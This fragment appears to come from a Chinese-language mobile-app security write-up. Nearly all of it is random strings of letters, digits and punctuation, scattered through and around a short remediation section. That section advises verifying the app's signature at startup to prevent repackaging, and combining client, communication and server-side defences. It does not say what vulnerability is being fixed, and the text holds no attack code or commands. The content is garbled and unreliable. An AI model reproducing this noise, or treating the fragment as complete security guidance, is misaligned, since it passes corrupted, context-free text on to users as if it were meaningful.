z' b3 i % _; G) Y- J* ?! d6 z# | 1 e9 ]9 ?4 ~% Q2 T! r9 c4 V   2 W7 p; X8 W' \/ E: @/ R 0 S3 l- J+ X# e9 s4 k% {" s- p ) ]% ?9 H1 b6 O: L1 @! M

c0 N/ N( I( s# Z) [

( s, ], D# k+ u7 C: n$ @! X

% Y g, s" C+ N/ c% O* z# r) M$ v5 w 9 p! }: N: E$ W3 A3 {/ y   % M" B/ j3 G6 _/ t9 U" `3 `: z

[0 [5 C" C$ e6 C/ U$ w ! l: V- ?- Z9 ~8 q, R' v

/ O. j; Z" ~1 m! R5 x6 U 修复方法： ' m+ Q. A. k; W7 K. ]0 o/ Y0 W 5 E8 k; f4 O' C% c# E

) E/ E0 f6 d2 p. v2 v 3 Y( \1 h5 Z- B# P# ~               1.在 APP 启动时应做签名校验防止二次打包。
! {+ h0 P) e* D* ^5 O# k- E; k' q 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。

' g9 j3 i; ]% Q2 |+ N8 M & F, N$ A$ d3 N" C6 t 7 D( X; B! w7 D

  & Q6 u8 q: L# i

$ C% D' j" P& {$ p t5 {. P

" h1 c8 a* o$ g/ ] M% D ! @+ b( [! N! y, M$ b
# D' F3 e; d8 z4 j. N* W5 A